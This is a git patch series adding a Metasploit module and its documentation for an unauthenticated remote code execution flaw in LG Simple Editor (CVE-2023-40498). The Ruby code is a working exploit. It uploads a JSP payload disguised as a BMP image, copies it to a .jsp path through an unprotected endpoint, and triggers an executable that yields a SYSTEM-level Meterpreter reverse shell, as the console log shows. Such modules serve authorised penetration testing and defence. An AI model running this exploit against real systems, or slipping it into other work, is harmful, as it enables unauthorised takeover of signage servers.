From 1d9c7fde7769db003684a0f3b58f68e665c2e7c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= Date: Tue, 29 Aug 2023 17:58:43 +0200 Subject: [PATCH 1/7] Add LG Simple Editor Unauthenticated RCE (CVE-2023-40498) Exploit --- .../windows/http/lg_simple_editor_rce.md | 70 +++++++ .../windows/http/lg_simple_editor_rce.rb | 190 ++++++++++++++++++ 2 files changed, 260 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/lg_simple_editor_rce.md create mode 100644 modules/exploits/windows/http/lg_simple_editor_rce.rb diff --git a/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md b/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md new file mode 100644 index 000000000000..2ea3c677e4fe --- /dev/null +++ b/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md @@ -0,0 +1,70 @@ +## Vulnerable Application + +LG Simple Editor is recommended for small businesses and sports bars which require simple content +display or play-on-air via their signage. It enables easy new content creation by simplifying processes, +and immediate playback on signage. + +This Metasploit module exploits broken access control and directory traversal +vulnerabilities in LG Simple Editor software for gaining code execution. +The vulnerabilities exists in versions of LG Simple Editor prior to v3.21. +By exploiting this flaw, an attacker can upload and execute a malicious JSP +payload with the SYSTEM user permissions. + +## Testing +For installing the vulnerable version follow the steps below, +1. Download the installation file of the vulnerable software +[here](https://www.lg.com/us/business/display-solutions/supersign-w-lite/downloads/LGSimpleEditor_setup_v3_21_0.exe.zip) +2. Follow the installation steps. + +After these steps, the LG Simple Editor service should be accessible on port 8080. + +## Verification Steps + +1. msfconsole +2. Do: `use exploit/windows/http/lg_simple_editor_rce` +3. Do: `set RHOST [IP]` +4. Do: `check` + +## Options + +## Scenarios + +``` +msf6 > use exploit/windows/http/lg_simple_editor_rce +[*] Using configured payload windows/meterpreter/reverse_tcp +msf6 exploit(windows/http/lg_simple_editor_rce) > set rhosts 192.168.56.109 +rhosts => 192.168.56.109 +msf6 exploit(windows/http/lg_simple_editor_rce) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf6 exploit(windows/http/lg_simple_editor_rce) > set lport 4444 +lport => 4444 +msf6 exploit(windows/http/lg_simple_editor_rce) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version: 3.21.0 +[*] Uploading JSP payload... +[+] Payload uploaded successfully +[*] Backing up original index file. +[+] /index.jsp -> /index2.jsp copy successfull. +[*] Replacing index file with payload... +[+] /BOANL_original.bmp -> /index.jsp copy successfull. +[*] Triggering payload... +[*] Sending stage (175686 bytes) to 192.168.56.109 +[*] Fixing index file... +[+] /index2.jsp -> /index.jsp copy successfull. +[*] Meterpreter session 15 opened (192.168.56.1:4444 -> 192.168.56.109:50081) at 2023-08-29 15:58:26 +0200 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-LB6UGKE +OS : Windows 10 (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > + +``` diff --git a/modules/exploits/windows/http/lg_simple_editor_rce.rb b/modules/exploits/windows/http/lg_simple_editor_rce.rb new file mode 100644 index 000000000000..817570343066 --- /dev/null +++ b/modules/exploits/windows/http/lg_simple_editor_rce.rb @@ -0,0 +1,190 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper # includes register_files_for_cleanup + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LG Simple Editor Remote Code Execution', + 'Description' => %q{ + This Metasploit module exploits broken access control and directory traversal + vulnerabilities in LG Simple Editor software for gaining code execution. + The vulnerabilities exists in versions of LG Simple Editor prior to v3.21. + By exploiting this flaw, an attacker can upload and execute a malicious JSP + payload with the SYSTEM user permissions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'rgod', # Vulnerability discovery + 'Ege Balcı ' # msf module + ], + 'References' => [ + ['ZDI', '23-1204'], + ['CVE', '2023-40498'], + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-1204/'] + ], + 'DefaultOptions' => { + 'WfsDelay' => 5 + }, + 'Platform' => %w[win], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + ['LG Simple Editor <= v3.21', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-08-24', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'The URI of the Rudder API', '/']) + ] + ) + end + + def check + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do') + } + ) + version = Rex::Version.new(res.body.to_s.match(%r{

(.+)

})[1].gsub('v', '')) + return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown' + return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0') + + Exploit::CheckCode::Safe + end + + def generate_jsp_payload + exe = generate_payload_exe + base64_exe = Rex::Text.encode_base64(exe) + payload_name = rand_text_alpha(rand(3..8)) + + var_raw = 'a' + rand_text_alpha(rand(3..10)) + var_ostream = 'b' + rand_text_alpha(rand(3..10)) + var_buf = 'c' + rand_text_alpha(rand(3..10)) + var_decoder = 'd' + rand_text_alpha(rand(3..10)) + var_tmp = 'e' + rand_text_alpha(rand(3..10)) + var_path = 'f' + rand_text_alpha(rand(3..10)) + var_proc2 = 'e' + rand_text_alpha(rand(3..10)) + + jsp = %| + <%@page import="java.io.*" %> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + } catch (Exception e) { + } + %> + | + + jsp.gsub!(/[\n\t\r]/, '') + + jsp + end + + def copy_file(src, dst) + data = { + command: 'cp', + option: '-f', + srcPath: src, + destPath: dst + } + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'fileSystem', + 'makeDetailContent.do'), + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json' + }, + 'ctype' => 'application/json', + 'data' => data.to_json + } + ) + if res && res.code == 200 && res.body.to_s =~ /"errorMessage":"success",/ + print_good "#{src} -> #{dst} copy successfull." + else + fail_with(Failure::UnexpectedReply, "#{peer} - Could not copy the payload.") + end + end + + def exploit + bmp_name = Rex::Text.rand_text_alpha(5) + form = Rex::MIME::Message.new + form.add_part( + generate_jsp_payload, + 'image/bmp', + 'binary', + "form-data; name=\"uploadFile\"; filename=\"#{bmp_name}.bmp\"" + ) + form.add_part('/', nil, nil, 'form-data; name="uploadPath"') + form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_x"') + form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_y"') + form.add_part('1920', nil, nil, 'form-data; name="uploadFile_width"') + form.add_part('1080', nil, nil, 'form-data; name="uploadFile_height"') + + print_status 'Uploading JSP payload...' + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadImage.do'), + 'ctype' => "multipart/form-data; boundary=#{form.bound}", + 'data' => form.to_s + } + ) + if res && res.code == 200 + print_good 'Payload uploaded successfully' + else + fail_with(Failure::UnexpectedReply, "#{peer} - Payload upload failed") + end + + # First we backup the original index.jsp as index2.jsp + print_status 'Backing up original index file.' + copy_file('/index.jsp', '/index2.jsp') + # Now we'll replace index.jsp with our payload... + print_status 'Replacing index file with payload...' + copy_file("/#{bmp_name}_original.bmp", '/index.jsp') + + print_status 'Triggering payload...' + send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'index.jsp') + } + ) + print_status 'Fixing index file...' + copy_file('/index2.jsp', '/index.jsp') # Here we copy back the original index.jsp for not breaking the app + end +end From 32f9357f7a11e16530cc1f15c853bea81f7e3064 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= Date: Tue, 29 Aug 2023 18:08:11 +0200 Subject: [PATCH 2/7] Update side effects --- modules/exploits/windows/http/lg_simple_editor_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/lg_simple_editor_rce.rb b/modules/exploits/windows/http/lg_simple_editor_rce.rb index 817570343066..f667d53b078c 100644 --- a/modules/exploits/windows/http/lg_simple_editor_rce.rb +++ b/modules/exploits/windows/http/lg_simple_editor_rce.rb @@ -46,7 +46,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) From 757e942ac94c56541c0f51d5763fedb1644da9f5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= <17179401+EgeBalci@users.noreply.github.com> Date: Fri, 1 Sep 2023 01:16:32 +0000 Subject: [PATCH 3/7] Update modules/exploits/windows/http/lg_simple_editor_rce.rb Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/exploits/windows/http/lg_simple_editor_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/lg_simple_editor_rce.rb b/modules/exploits/windows/http/lg_simple_editor_rce.rb index f667d53b078c..4ad1e2fb1287 100644 --- a/modules/exploits/windows/http/lg_simple_editor_rce.rb +++ b/modules/exploits/windows/http/lg_simple_editor_rce.rb @@ -133,7 +133,7 @@ def copy_file(src, dst) 'data' => data.to_json } ) - if res && res.code == 200 && res.body.to_s =~ /"errorMessage":"success",/ + if res && res.code == 200 && res.body.to_s.include?('errorMessage":"success",') print_good "#{src} -> #{dst} copy successfull." else fail_with(Failure::UnexpectedReply, "#{peer} - Could not copy the payload.") From 20a22f1baff4b9acedcd5b0c75fb0551338334d1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= Date: Fri, 1 Sep 2023 03:46:58 +0200 Subject: [PATCH 4/7] Fix check, randomize JSP name, ditch backup --- .../windows/http/lg_simple_editor_rce.rb | 24 +++++++++---------- 1 file changed, 11 insertions(+), 13 deletions(-) diff --git a/modules/exploits/windows/http/lg_simple_editor_rce.rb b/modules/exploits/windows/http/lg_simple_editor_rce.rb index 4ad1e2fb1287..2aaec6b759c4 100644 --- a/modules/exploits/windows/http/lg_simple_editor_rce.rb +++ b/modules/exploits/windows/http/lg_simple_editor_rce.rb @@ -54,7 +54,7 @@ def initialize(info = {}) register_options( [ Opt::RPORT(8080), - OptString.new('TARGETURI', [true, 'The URI of the Rudder API', '/']) + OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/']) ] ) end @@ -66,7 +66,10 @@ def check 'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do') } ) - version = Rex::Version.new(res.body.to_s.match(%r{

(.+)

})[1].gsub('v', '')) + + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + + version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', '')) return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown' return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0') @@ -141,13 +144,13 @@ def copy_file(src, dst) end def exploit - bmp_name = Rex::Text.rand_text_alpha(5) + rand_name = Rex::Text.rand_text_alpha(5) form = Rex::MIME::Message.new form.add_part( generate_jsp_payload, 'image/bmp', 'binary', - "form-data; name=\"uploadFile\"; filename=\"#{bmp_name}.bmp\"" + "form-data; name=\"uploadFile\"; filename=\"#{rand_name}.bmp\"" ) form.add_part('/', nil, nil, 'form-data; name="uploadPath"') form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_x"') @@ -170,21 +173,16 @@ def exploit fail_with(Failure::UnexpectedReply, "#{peer} - Payload upload failed") end - # First we backup the original index.jsp as index2.jsp - print_status 'Backing up original index file.' - copy_file('/index.jsp', '/index2.jsp') - # Now we'll replace index.jsp with our payload... - print_status 'Replacing index file with payload...' - copy_file("/#{bmp_name}_original.bmp", '/index.jsp') + # Now we copy our payload as JSP + copy_file("/#{rand_name}_original.bmp", "/#{rand_name}.jsp") + register_files_for_cleanup("./webapps/simpleeditor/#{rand_name}.jsp") print_status 'Triggering payload...' send_request_cgi( { 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'index.jsp') + 'uri' => normalize_uri(target_uri.path, 'simpleeditor', "#{rand_name}.jsp") } ) - print_status 'Fixing index file...' - copy_file('/index2.jsp', '/index.jsp') # Here we copy back the original index.jsp for not breaking the app end end From 48cb2db70bed3e7aee7a70993ccca62701169522 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= Date: Fri, 1 Sep 2023 03:48:08 +0200 Subject: [PATCH 5/7] Update scenario --- .../exploit/windows/http/lg_simple_editor_rce.md | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md b/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md index 2ea3c677e4fe..682d009d1101 100644 --- a/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md +++ b/documentation/modules/exploit/windows/http/lg_simple_editor_rce.md @@ -30,14 +30,12 @@ After these steps, the LG Simple Editor service should be accessible on port 808 ## Scenarios ``` -msf6 > use exploit/windows/http/lg_simple_editor_rce +msf6 > use exploit/windows/http/lg_simple_editor_rce [*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(windows/http/lg_simple_editor_rce) > set rhosts 192.168.56.109 rhosts => 192.168.56.109 -msf6 exploit(windows/http/lg_simple_editor_rce) > set lhost 192.168.56.1 +msf6 exploit(windows/http/lg_simple_editor_rce) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(windows/http/lg_simple_editor_rce) > set lport 4444 -lport => 4444 msf6 exploit(windows/http/lg_simple_editor_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 @@ -45,15 +43,11 @@ msf6 exploit(windows/http/lg_simple_editor_rce) > run [+] The target appears to be vulnerable. Version: 3.21.0 [*] Uploading JSP payload... [+] Payload uploaded successfully -[*] Backing up original index file. -[+] /index.jsp -> /index2.jsp copy successfull. -[*] Replacing index file with payload... -[+] /BOANL_original.bmp -> /index.jsp copy successfull. +[+] /nvFIE_original.bmp -> /nvFIE.jsp copy successfull. [*] Triggering payload... [*] Sending stage (175686 bytes) to 192.168.56.109 -[*] Fixing index file... -[+] /index2.jsp -> /index.jsp copy successfull. -[*] Meterpreter session 15 opened (192.168.56.1:4444 -> 192.168.56.109:50081) at 2023-08-29 15:58:26 +0200 +[+] Deleted ./webapps/simpleeditor/nvFIE.jsp +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.109:50097) at 2023-09-01 03:44:31 +0200 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM From 3509193ae812acf529eafd0bb7b5cba418f5e537 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= <17179401+EgeBalci@users.noreply.github.com> Date: Thu, 7 Sep 2023 17:00:10 +0000 Subject: [PATCH 6/7] Update modules/exploits/windows/http/lg_simple_editor_rce.rb Co-authored-by: jheysel-r7 --- modules/exploits/windows/http/lg_simple_editor_rce.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/lg_simple_editor_rce.rb b/modules/exploits/windows/http/lg_simple_editor_rce.rb index 2aaec6b759c4..37bf78479125 100644 --- a/modules/exploits/windows/http/lg_simple_editor_rce.rb +++ b/modules/exploits/windows/http/lg_simple_editor_rce.rb @@ -29,8 +29,7 @@ def initialize(info = {}) ], 'References' => [ ['ZDI', '23-1204'], - ['CVE', '2023-40498'], - ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-1204/'] + ['CVE', '2023-40498'] ], 'DefaultOptions' => { 'WfsDelay' => 5 From e286c96dee37b5afbf199fe29f318989f688c555 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ege=20Balc=C4=B1?= <17179401+EgeBalci@users.noreply.github.com> Date: Thu, 7 Sep 2023 17:00:17 +0000 Subject: [PATCH 7/7] Update modules/exploits/windows/http/lg_simple_editor_rce.rb Co-authored-by: jheysel-r7 --- modules/exploits/windows/http/lg_simple_editor_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/lg_simple_editor_rce.rb b/modules/exploits/windows/http/lg_simple_editor_rce.rb index 37bf78479125..c22a6f994407 100644 --- a/modules/exploits/windows/http/lg_simple_editor_rce.rb +++ b/modules/exploits/windows/http/lg_simple_editor_rce.rb @@ -18,7 +18,7 @@ def initialize(info = {}) 'Description' => %q{ This Metasploit module exploits broken access control and directory traversal vulnerabilities in LG Simple Editor software for gaining code execution. - The vulnerabilities exists in versions of LG Simple Editor prior to v3.21. + The vulnerabilities exist in versions of LG Simple Editor prior to v3.21. By exploiting this flaw, an attacker can upload and execute a malicious JSP payload with the SYSTEM user permissions. },